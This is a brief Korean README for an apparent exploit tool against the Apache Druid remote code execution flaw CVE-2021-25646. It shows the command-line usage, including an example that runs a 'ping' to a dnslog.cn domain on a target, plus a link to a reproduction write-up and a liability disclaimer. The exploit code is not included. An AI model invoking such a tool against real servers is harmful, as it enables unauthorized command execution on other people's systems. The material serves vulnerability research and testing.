Apache Druid 원격 코드 실행 CVE-2021-25646

by j2ekim

사용 방법

  python exp.py -u [--url] -c [--command] 
  python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn"

취약점 재현 글

https://www.adminxe.com/2109.html

사용 시 주의사항

이 도구의 전파·사용으로 인해 발생하는 직접적 또는 간접적 결과 및 손실에 대한 책임은 모두 사용자 본인에게 있으며, 저자는 이에 대해 어떠한 책임도 지지 않습니다.